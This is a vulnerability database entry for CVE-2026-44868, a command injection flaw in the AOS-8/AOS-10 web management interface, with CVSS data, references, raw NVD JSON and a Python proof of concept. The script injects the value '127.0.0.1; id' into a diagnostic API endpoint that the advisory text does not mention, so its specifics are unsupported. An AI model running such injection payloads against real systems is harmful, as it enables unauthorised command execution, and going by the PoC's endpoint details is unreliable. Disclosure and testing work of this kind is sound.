CVE-2026-44868

Description

Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AOS-8

AOS-10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-44868: Command Injection in AOS Web Interface
# Requires High Privilege Authentication

target_url = "https://<target-ip>/api/v1/system/diagnostic"
session_cookie = "<authenticated_admin_cookie>" # Obtained via PR:H login

headers = {
    "Cookie": f"session={session_cookie}",
    "Content-Type": "application/json"
}

# Malicious payload attempting to inject 'id' command
payload = {
    "host": "127.0.0.1; id" 
}

try:
    response = requests.post(target_url, json=payload, headers=headers, verify=False)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")

    if "uid=" in response.text or "gid=" in response.text:
        print("[+] Vulnerability Confirmed: Command Injection Successful")
    else:
        print("[-] Vulnerability Not Detected or Payload Failed")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44868
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44868
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44868/
[4] VulDB https://vuldb.com/cve/CVE-2026-44868
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44868", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:45.467", "lastModified": "2026-05-12T20:16:45.467", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}